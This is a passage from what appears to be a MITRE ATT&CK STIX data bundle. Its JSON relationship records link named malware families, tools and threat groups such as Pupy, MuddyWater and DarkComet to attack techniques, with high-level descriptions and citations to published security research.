            "description": "[Pupy](https://attack.mitre.org/software/S0192) has a module for loading and executing PowerShell scripts.(Citation: GitHub Pupy)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "https://github.com/n1nj4sec/pupy",
                    "description": "Nicolas Verdier. (n.d.). Retrieved January 29, 2018.",
                    "source_name": "GitHub Pupy"
                }
            ],
            "source_ref": "tool--cb69b20d-56d0-41ab-8440-4a4b251614d4",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--970a3432-3237-47ad-bcca-7d8cbb217736",
            "type": "relationship",
            "modified": "2019-04-24T17:52:47.942Z",
            "created": "2018-04-18T17:59:24.739Z"
        },
        {
            "id": "relationship--bdde6ad0-b6eb-4e3a-80e4-8a9db6a9570d",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[TinyZBot](https://attack.mitre.org/software/S0004) can disable Avira anti-virus.(Citation: Cylance Cleaver)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Cylance Cleaver",
                    "description": "Cylance. (2014, December). Operation Cleaver. Retrieved September 14, 2017.",
                    "url": "https://web.archive.org/web/20200302085133/https://www.cylance.com/content/dam/cylance/pages/operation-cleaver/Cylance_Operation_Cleaver_Report.pdf"
                }
            ],
            "source_ref": "malware--c0c45d38-fe57-4cd4-b2b2-9ecd0ddd4ca9",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--ac08589e-ee59-4935-8667-d845e38fe579",
            "type": "relationship",
            "modified": "2021-04-21T16:41:34.662Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--cca64a18-4601-4169-9a8e-63036403940f",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Calisto](https://attack.mitre.org/software/S0274) uses the <code>zip -r</code> command to compress the data collected on the local system.(Citation: Securelist Calisto July 2018)(Citation: Symantec Calisto July 2018)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Securelist Calisto July 2018",
                    "description": "Kuzin, M., Zelensky S. (2018, July 20). Calisto Trojan for macOS. Retrieved September 7, 2018.",
                    "url": "https://securelist.com/calisto-trojan-for-macos/86543/"
                },
                {
                    "source_name": "Symantec Calisto July 2018",
                    "description": "Pantig, J. (2018, July 30). OSX.Calisto. Retrieved September 7, 2018.",
                    "url": "https://www.symantec.com/security-center/writeup/2018-073014-2512-99?om_rssid=sr-latestthreats30days"
                }
            ],
            "source_ref": "malware--b8fdef82-d2cf-4948-8949-6466357b1be1",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--00f90846-cbd1-4fc5-9233-df5c2bf2a662",
            "type": "relationship",
            "modified": "2020-03-30T01:58:56.060Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "id": "relationship--7282eabe-73e0-4a10-824b-f18df7f892e2",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Trojan.Karagany](https://attack.mitre.org/software/S0094) can upload, download, and execute files on the victim.(Citation: Symantec Dragonfly)(Citation: Secureworks Karagany July 2019)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Symantec Dragonfly",
                    "description": "Symantec Security Response. (2014, July 7). Dragonfly: Cyberespionage Attacks Against Energy Suppliers. Retrieved April 8, 2016.",
                    "url": "http://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/Dragonfly_Threat_Against_Western_Energy_Suppliers.pdf"
                },
                {
                    "source_name": "Secureworks Karagany July 2019",
                    "url": "https://www.secureworks.com/research/updated-karagany-malware-targets-energy-sector",
                    "description": "Secureworks. (2019, July 24). Updated Karagany Malware Targets Energy Sector. Retrieved August 12, 2020."
                }
            ],
            "source_ref": "malware--82cb34ba-02b5-432b-b2d2-07f55cbf674d",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add",
            "type": "relationship",
            "modified": "2020-08-13T14:05:45.015Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--8859897c-66f5-4754-8cb8-2c6e6b8b8e2e",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "intrusion-set--88b7dbc2-32d3-4e31-af2f-3fc24e1582d7",
            "relationship_type": "uses",
            "target_ref": "malware--7551188b-8f91-4d34-8350-0d0c57b2b913",
            "external_references": [
                {
                    "url": "https://securelist.com/the-spring-dragon-apt/70726/",
                    "description": "Baumgartner, K.. (2015, June 17). The Spring Dragon APT. Retrieved February 15, 2016.",
                    "source_name": "Spring Dragon Jun 2015"
                },
                {
                    "source_name": "Accenture Dragonfish Jan 2018",
                    "url": "https://www.accenture.com/t20180127T003755Z_w_/us-en/_acnmedia/PDF-46/Accenture-Security-Dragonfish-Threat-Analysis.pdf",
                    "description": "Accenture Security. (2018, January 27). DRAGONFISH DELIVERS NEW FORM OF ELISE MALWARE TARGETING ASEAN DEFENCE MINISTERS\u2019 MEETING AND ASSOCIATES. Retrieved November 14, 2018."
                }
            ],
            "description": "(Citation: Spring Dragon Jun 2015)(Citation: Accenture Dragonfish Jan 2018)",
            "type": "relationship",
            "modified": "2019-03-25T14:17:43.377Z",
            "created": "2017-05-31T21:33:27.064Z"
        },
        {
            "id": "relationship--116249f4-b71c-409e-ad9d-7d59d1297d69",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "course-of-action--8f6b5ca6-263a-4ea9-98f3-afd2a3cd8119",
            "relationship_type": "mitigates",
            "target_ref": "attack-pattern--6aac77c4-eaf2-4366-8c13-ce50ab951f38",
            "type": "relationship",
            "modified": "2020-03-02T19:08:18.037Z",
            "created": "2018-04-18T17:59:24.739Z"
        },
        {
            "id": "relationship--1088fc27-2de5-4b73-83fd-6741ab3ff4d6",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[OwaAuth](https://attack.mitre.org/software/S0072) uses the filename owaauth.dll, which is a legitimate file that normally resides in <code>%ProgramFiles%\\Microsoft\\Exchange Server\\ClientAccess\\Owa\\Auth\\</code>; the malicious file by the same name is saved in <code>%ProgramFiles%\\Microsoft\\Exchange Server\\ClientAccess\\Owa\\bin\\</code>.(Citation: Dell TG-3390)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Dell TG-3390",
                    "description": "Dell SecureWorks Counter Threat Unit Threat Intelligence. (2015, August 5). Threat Group-3390 Targets Organizations for Cyberespionage. Retrieved August 18, 2018.",
                    "url": "https://www.secureworks.com/research/threat-group-3390-targets-organizations-for-cyberespionage"
                }
            ],
            "source_ref": "malware--a60657fa-e2e7-4f8f-8128-a882534ae8c5",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--1c4e5d32-1fe9-4116-9d9d-59e3925bd6a2",
            "type": "relationship",
            "modified": "2020-03-18T15:25:12.054Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--5c2cd95f-9c3a-4893-9a5f-960cfed62572",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[MuddyWater](https://attack.mitre.org/groups/G0069) has used Daniel Bohannon\u2019s Invoke-Obfuscation framework and obfuscated PowerShell scripts.(Citation: Unit 42 MuddyWater Nov 2017)(Citation: GitHub Invoke-Obfuscation) The group has also used other obfuscation methods, including Base64 obfuscation of VBScripts and PowerShell commands.(Citation: Unit 42 MuddyWater Nov 2017)(Citation: FireEye MuddyWater Mar 2018)(Citation: Securelist MuddyWater Oct 2018)(Citation: Talos MuddyWater May 2019)(Citation: ClearSky MuddyWater June 2019)(Citation: Trend Micro Muddy Water March 2021)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "https://researchcenter.paloaltonetworks.com/2017/11/unit42-muddying-the-water-targeted-attacks-in-the-middle-east/",
                    "description": "Lancaster, T.. (2017, November 14). Muddying the Water: Targeted Attacks in the Middle East. Retrieved March 15, 2018.",
                    "source_name": "Unit 42 MuddyWater Nov 2017"
                },
                {
                    "url": "https://github.com/danielbohannon/Invoke-Obfuscation",
                    "description": "Bohannon, D.. (2017, March 13). Invoke-Obfuscation - PowerShell Obfuscator. Retrieved June 18, 2017.",
                    "source_name": "GitHub Invoke-Obfuscation"
                },
                {
                    "url": "https://researchcenter.paloaltonetworks.com/2017/11/unit42-muddying-the-water-targeted-attacks-in-the-middle-east/",
                    "description": "Lancaster, T.. (2017, November 14). Muddying the Water: Targeted Attacks in the Middle East. Retrieved March 15, 2018.",
                    "source_name": "Unit 42 MuddyWater Nov 2017"
                },
                {
                    "url": "https://www.fireeye.com/blog/threat-research/2018/03/iranian-threat-group-updates-ttps-in-spear-phishing-campaign.html",
                    "description": "Singh, S. et al.. (2018, March 13). Iranian Threat Group Updates Tactics, Techniques and Procedures in Spear Phishing Campaign. Retrieved April 11, 2018.",
                    "source_name": "FireEye MuddyWater Mar 2018"
                },
                {
                    "description": "Kaspersky Lab's Global Research & Analysis Team. (2018, October 10). MuddyWater expands operations. Retrieved November 2, 2018.",
                    "url": "https://securelist.com/muddywater/88059/",
                    "source_name": "Securelist MuddyWater Oct 2018"
                },
                {
                    "description": "Adamitis, D. et al. (2019, May 20). Recent MuddyWater-associated BlackWater campaign shows signs of new anti-detection techniques. Retrieved June 5, 2019.",
                    "url": "https://blog.talosintelligence.com/2019/05/recent-muddywater-associated-blackwater.html",
                    "source_name": "Talos MuddyWater May 2019"
                },
                {
                    "source_name": "ClearSky MuddyWater June 2019",
                    "url": "https://www.clearskysec.com/wp-content/uploads/2019/06/Clearsky-Iranian-APT-group-%E2%80%98MuddyWater%E2%80%99-Adds-Exploits-to-Their-Arsenal.pdf",
                    "description": "ClearSky. (2019, June). Iranian APT group \u2018MuddyWater\u2019 Adds Exploits to Their Arsenal. Retrieved May 14, 2020."
                },
                {
                    "source_name": "Trend Micro Muddy Water March 2021",
                    "url": "https://www.trendmicro.com/en_us/research/21/c/earth-vetala---muddywater-continues-to-target-organizations-in-t.html",
                    "description": "Peretz, A. and Theck, E. (2021, March 5). Earth Vetala \u2013 MuddyWater Continues to Target Organizations in the Middle East. Retrieved March 18, 2021."
                }
            ],
            "source_ref": "intrusion-set--269e8108-68c6-4f99-b911-14b2e765dec2",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a",
            "type": "relationship",
            "modified": "2021-04-08T15:41:48.676Z",
            "created": "2018-04-18T17:59:24.739Z"
        },
        {
            "id": "relationship--f017f6c0-96f4-46f1-905f-44e9950effbc",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Derusbi](https://attack.mitre.org/software/S0021) collects current and parent process IDs.(Citation: Fidelis Turbo)(Citation: FireEye Periscope March 2018)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "https://paper.seebug.org/papers/APT/APT_CyberCriminal_Campagin/2016/2016.02.29.Turbo_Campaign_Derusbi/TA_Fidelis_Turbo_1602_0.pdf",
                    "description": "Fidelis Cybersecurity. (2016, February 29). The Turbo Campaign, Featuring Derusbi for 64-bit Linux. Retrieved March 2, 2016.",
                    "source_name": "Fidelis Turbo"
                },
                {
                    "url": "https://www.fireeye.com/blog/threat-research/2018/03/suspected-chinese-espionage-group-targeting-maritime-and-engineering-industries.html",
                    "description": "FireEye. (2018, March 16). Suspected Chinese Cyber Espionage Group (TEMP.Periscope) Targeting U.S. Engineering and Maritime Industries. Retrieved April 11, 2018.",
                    "source_name": "FireEye Periscope March 2018"
                }
            ],
            "source_ref": "malware--94379dec-5c87-49db-b36e-66abc0b81344",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580",
            "type": "relationship",
            "modified": "2019-08-16T18:52:50.581Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--8119ee71-e017-4ba0-9aeb-a14c46f64f1a",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "intrusion-set--2a158b0a-7ef8-43cb-9985-bf34d1e12050",
            "relationship_type": "uses",
            "target_ref": "malware--007b44b6-e4c5-480b-b5b9-56f2081b1b7b",
            "external_references": [
                {
                    "url": "https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/07205555/TheNaikonAPT-MsnMM1.pdf",
                    "description": "Baumgartner, K., Golovkin, M.. (2015, May). The MsnMM Campaigns: The Earliest Naikon APT Campaigns. Retrieved April 10, 2019.",
                    "source_name": "Baumgartner Naikon 2015"
                }
            ],
            "description": "(Citation: Baumgartner Naikon 2015)",
            "type": "relationship",
            "modified": "2019-04-10T15:59:09.372Z",
            "created": "2017-05-31T21:33:27.054Z"
        },
        {
            "id": "relationship--3cdc74fc-a291-4253-98b4-ca33e021914a",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "intrusion-set--df71bb3b-813c-45eb-a8bc-f2a419837411",
            "relationship_type": "uses",
            "target_ref": "malware--687c23e4-4e25-4ee7-a870-c5e002511f54",
            "external_references": [
                {
                    "source_name": "DustySky",
                    "description": "ClearSky. (2016, January 7). Operation DustySky. Retrieved January 8, 2016.",
                    "url": "https://www.clearskysec.com/wp-content/uploads/2016/01/Operation%20DustySky_TLP_WHITE.pdf"
                },
                {
                    "url": "http://www.clearskysec.com/wp-content/uploads/2016/06/Operation-DustySky2_-6.2016_TLP_White.pdf",
                    "description": "ClearSky Cybersecurity. (2016, June 9). Operation DustySky - Part 2. Retrieved August 3, 2016.",
                    "source_name": "DustySky2"
                },
                {
                    "source_name": "Kaspersky MoleRATs April 2019",
                    "url": "https://securelist.com/gaza-cybergang-group1-operation-sneakypastes/90068/",
                    "description": "GReAT. (2019, April 10). Gaza Cybergang Group1, operation SneakyPastes. Retrieved May 13, 2020."
                }
            ],
            "description": "(Citation: DustySky)(Citation: DustySky2)(Citation: Kaspersky MoleRATs April 2019)",
            "type": "relationship",
            "modified": "2021-04-27T19:55:39.211Z",
            "created": "2017-05-31T21:33:27.055Z"
        },
        {
            "id": "relationship--3abe734c-7fd2-4da6-9b0a-420f9187165c",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Pupy](https://attack.mitre.org/software/S0192) can send screenshots files, keylogger data, files, and recorded audio back to the C2 server.(Citation: GitHub Pupy)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "https://github.com/n1nj4sec/pupy",
                    "description": "Nicolas Verdier. (n.d.). Retrieved January 29, 2018.",
                    "source_name": "GitHub Pupy"
                }
            ],
            "source_ref": "tool--cb69b20d-56d0-41ab-8440-4a4b251614d4",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--92d7da27-2d91-488e-a00c-059dc162766d",
            "type": "relationship",
            "modified": "2019-04-24T17:52:47.941Z",
            "created": "2018-04-18T17:59:24.739Z"
        },
        {
            "id": "relationship--7ffec01b-b49c-4851-947f-cd29f9525aef",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[UPPERCUT](https://attack.mitre.org/software/S0275) has the capability to gather the victim's proxy information.(Citation: FireEye APT10 Sept 2018)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "FireEye APT10 Sept 2018",
                    "description": "Matsuda, A., Muhammad I. (2018, September 13). APT10 Targeting Japanese Corporations Using Updated TTPs. Retrieved September 17, 2018.",
                    "url": "https://www.fireeye.com/blog/threat-research/2018/09/apt10-targeting-japanese-corporations-using-updated-ttps.html"
                }
            ],
            "source_ref": "malware--fb4e3792-e915-4fdd-a9cd-92dfa2ace7aa",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0",
            "type": "relationship",
            "modified": "2020-03-17T02:46:42.639Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "description": "Brumaghin, E., et al. (2017, November 02). Poisoning the Well: Banking Trojan Targets Google Search Results. Retrieved November 5, 2018.",
                    "url": "https://blog.talosintelligence.com/2017/11/zeus-panda-campaign.html#More",
                    "source_name": "Talos Zeus Panda Nov 2017"
                },
                {
                    "description": "Ebach, L. (2017, June 22). Analysis Results of Zeus.Variant.Panda. Retrieved November 5, 2018.",
                    "url": "https://cyberwtf.files.wordpress.com/2017/07/panda-whitepaper.pdf",
                    "source_name": "GDATA Zeus Panda June 2017"
                }
            ],
            "description": "[Zeus Panda](https://attack.mitre.org/software/S0330) encrypts strings with XOR and obfuscates the macro code from the initial payload. [Zeus Panda](https://attack.mitre.org/software/S0330) also encrypts all configuration and settings in AES and RC4.(Citation: Talos Zeus Panda Nov 2017)(Citation: GDATA Zeus Panda June 2017)",
            "id": "relationship--bc9a5286-98a6-4905-b4ce-8f4d958861b6",
            "source_ref": "malware--198db886-47af-4f4c-bff5-11b891f85946",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a",
            "type": "relationship",
            "modified": "2019-04-16T20:55:20.090Z",
            "created": "2019-01-29T17:59:44.434Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Unit 42 Nokki Oct 2018",
                    "url": "https://researchcenter.paloaltonetworks.com/2018/10/unit42-nokki-almost-ties-the-knot-with-dogcall-reaper-group-uses-new-malware-to-deploy-rat/",
                    "description": "Grunzweig, J. (2018, October 01). NOKKI Almost Ties the Knot with DOGCALL: Reaper Group Uses New Malware to Deploy RAT. Retrieved November 5, 2018."
                }
            ],
            "description": "[DOGCALL](https://attack.mitre.org/software/S0213) can download and execute additional payloads.(Citation: Unit 42 Nokki Oct 2018)",
            "id": "relationship--8f41386c-5760-409e-b8b4-513f3d791d9f",
            "source_ref": "malware--0852567d-7958-4f4b-8947-4f840ec8d57d",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add",
            "type": "relationship",
            "modified": "2020-03-16T16:43:12.123Z",
            "created": "2019-01-29T18:23:46.189Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Fortinet Remcos Feb 2017",
                    "url": "https://www.fortinet.com/blog/threat-research/remcos-a-new-rat-in-the-wild-2.html",
                    "description": "Bacurio, F., Salvio, J. (2017, February 14). REMCOS: A New RAT In The Wild. Retrieved November 6, 2018."
                }
            ],
            "description": "[Remcos](https://attack.mitre.org/software/S0332) can access a system\u2019s webcam and take pictures.(Citation: Fortinet Remcos Feb 2017)",
            "id": "relationship--c73f5693-e40c-48a9-b41c-8207f7180523",
            "source_ref": "tool--7cd0bc75-055b-4098-a00e-83dc8beaff14",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--6faf650d-bf31-4eb4-802d-1000cf38efaf",
            "type": "relationship",
            "modified": "2019-04-19T14:39:52.981Z",
            "created": "2019-01-29T18:55:20.802Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "https://researchcenter.paloaltonetworks.com/2017/11/unit42-uboatrat-navigates-east-asia/",
                    "description": "Hayashi, K. (2017, November 28). UBoatRAT Navigates East Asia. Retrieved January 12, 2018.",
                    "source_name": "PaloAlto UBoatRAT Nov 2017"
                }
            ],
            "description": "[UBoatRAT](https://attack.mitre.org/software/S0333) takes advantage of the /SetNotifyCmdLine option in [BITSAdmin](https://attack.mitre.org/software/S0190) to ensure it stays running on a system to maintain persistence.(Citation: PaloAlto UBoatRAT Nov 2017)",
            "id": "relationship--4f290a4e-983c-460f-b00c-e1bc8dd4d413",
            "source_ref": "malware--518bb5f1-91f4-4ff2-b09d-5a94e1ebe95f",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--c8e87b83-edbb-48d4-9295-4974897525b7",
            "type": "relationship",
            "modified": "2019-09-23T13:27:28.894Z",
            "created": "2019-01-29T19:09:26.713Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "description": "TrendMicro. (2014, September 03). DARKCOMET. Retrieved November 6, 2018.",
                    "url": "https://www.trendmicro.com/vinfo/us/threat-encyclopedia/malware/DARKCOMET",
                    "source_name": "TrendMicro DarkComet Sept 2014"
                },
                {
                    "description": "Kujawa, A. (2018, March 27). You dirty RAT! Part 1: DarkComet. Retrieved November 6, 2018.",
                    "url": "https://blog.malwarebytes.com/threat-analysis/2012/06/you-dirty-rat-part-1-darkcomet/",
                    "source_name": "Malwarebytes DarkComet March 2018"
                }
            ],
            "description": "[DarkComet](https://attack.mitre.org/software/S0334) adds several Registry entries to enable automatic execution at every system startup.(Citation: TrendMicro DarkComet Sept 2014)(Citation: Malwarebytes DarkComet March 2018)",
            "id": "relationship--aeb0762f-0d0e-43b8-be6f-413f60097e02",
            "source_ref": "malware--53ab35c2-d00e-491a-8753-41d35ae7e547",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--9efb1ea7-c37b-4595-9640-b7680cd84279",
            "type": "relationship",
            "modified": "2019-06-04T19:40:43.608Z",
            "created": "2019-01-29T19:18:28.824Z"
        },
        {
            "id": "relationship--3d4dabc2-3bee-409a-a05d-e107677cfdc7",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[CosmicDuke](https://attack.mitre.org/software/S0050) exfiltrates collected files over FTP or WebDAV. Exfiltration servers can be separately configured from C2 servers.(Citation: F-Secure Cosmicduke)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "F-Secure Cosmicduke",
                    "description": "F-Secure Labs. (2014, July). COSMICDUKE Cosmu with a twist of MiniDuke. Retrieved July 3, 2014.",
                    "url": "https://www.f-secure.com/documents/996508/1030745/cosmicduke_whitepaper.pdf"
                }
            ],
            "source_ref": "malware--2eb9b131-d333-4a48-9eb4-d8dec46c19ee",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--fb8d023d-45be-47e9-bc51-f56bcae6435b",
            "type": "relationship",
            "modified": "2020-03-16T17:56:30.623Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "https://securelist.com/the-epic-turla-operation/65545/",
                    "description": "Kaspersky Lab's Global Research and Analysis Team. (2014, August 7). The Epic Turla Operation: Solving some of the mysteries of Snake/Uroburos. Retrieved December 11, 2014.",
                    "source_name": "Kaspersky Turla"
                }
            ],
            "description": "[Epic](https://attack.mitre.org/software/S0091) uses the <code>rem reg query</code> command to obtain values from Registry keys.(Citation: Kaspersky Turla)",
            "id": "relationship--014010a2-7bb8-4b11-bef9-c85609b2d94b",
            "source_ref": "malware--6b62e336-176f-417b-856a-8552dd8c44e1",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--c32f7008-9fea-41f7-8366-5eb9b74bd896",
            "type": "relationship",
            "modified": "2019-07-26T16:10:42.812Z",
            "created": "2019-01-29T19:55:48.132Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "DigiTrust NanoCore Jan 2017",
                    "url": "https://www.digitrustgroup.com/nanocore-not-your-average-rat/",
                    "description": "The DigiTrust Group. (2017, January 01). NanoCore Is Not Your Average RAT. Retrieved November 9, 2018."
                },
                {
                    "source_name": "PaloAlto NanoCore Feb 2016",
                    "url": "https://researchcenter.paloaltonetworks.com/2016/02/nanocorerat-behind-an-increase-in-tax-themed-phishing-e-mails/",
                    "description": "Kasza, A., Halfpop, T. (2016, February 09). NanoCoreRAT Behind an Increase in Tax-Themed Phishing E-mails. Retrieved November 9, 2018."
                }
            ],
            "description": "[NanoCore](https://attack.mitre.org/software/S0336) can modify the victim's anti-virus.(Citation: DigiTrust NanoCore Jan 2017)(Citation: PaloAlto NanoCore Feb 2016)",
            "id": "relationship--c81c6d91-00f3-4c8b-bf34-929972685aa3",
            "source_ref": "malware--b4d80f8b-d2b9-4448-8844-4bef777ed676",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--ac08589e-ee59-4935-8667-d845e38fe579",
            "type": "relationship",
            "modified": "2020-03-28T00:59:59.461Z",
            "created": "2019-01-29T20:05:36.454Z"
        },
        {
            "id": "relationship--8981bacd-5491-4434-b7ee-5fff27f4898a",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[GravityRAT](https://attack.mitre.org/software/S0237) uses port 46769 for C2.(Citation: Talos GravityRAT)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Talos GravityRAT",
                    "description": "Mercer, W., Rascagneres, P. (2018, April 26). GravityRAT - The Two-Year Evolution Of An APT Targeting India. Retrieved May 16, 2018.",
                    "url": "https://blog.talosintelligence.com/2018/04/gravityrat-two-year-evolution-of-apt.html"
                }
            ],
            "source_ref": "malware--1d1fce2f-0db5-402b-9843-4278a0694637",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--c848fcf7-6b62-4bde-8216-b6c157d48da0",
            "type": "relationship",
            "modified": "2019-04-24T23:21:59.201Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "id": "relationship--714ecf14-6200-4edf-9a9c-dd9830831266",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[FinFisher](https://attack.mitre.org/software/S0182) enumerates directories and scans for certain files.(Citation: FinFisher Citation)(Citation: Microsoft FinFisher March 2018)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "http://www.finfisher.com/FinFisher/index.html",
                    "description": "FinFisher. (n.d.). Retrieved December 20, 2017.",
                    "source_name": "FinFisher Citation"
                },
                {
                    "url": "https://cloudblogs.microsoft.com/microsoftsecure/2018/03/01/finfisher-exposed-a-researchers-tale-of-defeating-traps-tricks-and-complex-virtual-machines/",
                    "description": "Allievi, A.,Flori, E. (2018, March 01). FinFisher exposed: A researcher\u2019s tale of defeating traps, tricks, and complex virtual machines. Retrieved July 9, 2018.",
                    "source_name": "Microsoft FinFisher March 2018"
                }
            ],
            "source_ref": "malware--a5528622-3a8a-4633-86ce-8cdaf8423858",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18",
            "type": "relationship",
            "modified": "2019-08-12T17:30:07.362Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "id": "relationship--0c56b369-b665-4001-87ff-d27ae135cc64",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Pisloader](https://attack.mitre.org/software/S0124) uses cmd.exe to set the Registry Run key value. It also has a command to spawn a command shell.(Citation: Palo Alto DNS Requests)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Palo Alto DNS Requests",
                    "description": "Grunzweig, J., et al. (2016, May 24). New Wekby Attacks Use DNS Requests As Command and Control Mechanism. Retrieved August 17, 2016.",
                    "url": "http://researchcenter.paloaltonetworks.com/2016/05/unit42-new-wekby-attacks-use-dns-requests-as-command-and-control-mechanism/"
                }
            ],
            "source_ref": "malware--b96680d1-5eb3-4f07-b95c-00ab904ac236",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--d1fcf083-a721-4223-aedf-bf8960798d62",
